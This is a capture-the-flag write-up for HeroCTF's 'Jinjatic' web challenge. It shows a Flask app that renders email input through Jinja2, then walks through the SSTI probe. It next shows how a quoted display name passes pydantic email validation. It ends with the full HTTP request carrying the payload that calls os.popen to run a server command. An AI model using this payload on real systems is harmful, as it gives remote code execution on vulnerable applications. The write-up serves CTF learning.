Open post ↗

HeroCTF: Jinjatic

Properties

typeWrite-up
date26 October 2024
tagsHeroCTFCTFWeb

Description

A platform that allows users to render welcome email’s template for a given customer, sounds great no?

Solution

The provided code shows us that the app is using the Jinja2 templating engine in Flask for email template rendering. This can be easily tied to an SSTI vulnerability.

class EmailModel(BaseModel):
    email: EmailStr

@app.route('/')
def home():
    return render_template('home.html')

@app.route('/mail')
def mail():
    return render_template('mail.html')

@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template%(email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80)

We test the basic SSTI payload to confirm the vulnerability.

Request

POST /render HTTP/1.1
Host: dyn01.heroctf.fr:10019
Content-Type: application/x-www-form-urlencoded
Origin: http://dyn01.heroctf.fr:10019
show 9 more headershide 9 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Length: 23
Connection: keep-alive
Referer: http://dyn01.heroctf.fr:10019/mail
Upgrade-Insecure-Requests: 1
Priority: u=0, i

email={{7*7}}@gmail.com

The result is returning 49 which confirms the SSTI issue.

<body>
    <div class="container mt-5">
        <div class="alert alert-success text-center">
            <h1>Welcome on the platform !</h1>
            <p>Your email to connect is: <strong>49@gmail.com</strong></p>
        </div>
        <a href="/mail" class="btn btn-primary">Generate another welcome email</a>
    </div>

Now when we try different payloads we can see that due to pydantic email filtering we cannot try some symbols such as () ""[] as these don’t fall in the category of valid email RFCs.

But in pydantic the following email format will be valid.

Request

POST /render HTTP/1.1
Host: dyn01.heroctf.fr:10019
Content-Type: application/x-www-form-urlencoded
Origin: http://dyn01.heroctf.fr:10019
show 9 more headershide 9 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Length: 29
Connection: keep-alive
Referer: http://dyn01.heroctf.fr:10019/mail
Upgrade-Insecure-Requests: 1
Priority: u=0, i

email="test" <test@gmail.com>

So we can use the following payload to read the flag file.

"Worty test+{{lipsum.__globals__.os.popen('/getflag').read()}}@heroctf.fr" <worty@heroctf.fr>

Request

POST /render HTTP/1.1
Host: dyn01.heroctf.fr:10019
Content-Type: application/x-www-form-urlencoded
Origin: http://dyn01.heroctf.fr:10019
show 9 more headershide 9 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Length: 99
Connection: keep-alive
Referer: http://dyn01.heroctf.fr:10019/mail
Upgrade-Insecure-Requests: 1
Priority: u=0, i

email="Worty test+{{lipsum.__globals__.os.popen('/getflag').read()}}@heroctf.fr" <worty@heroctf.fr>

In response we get the flag.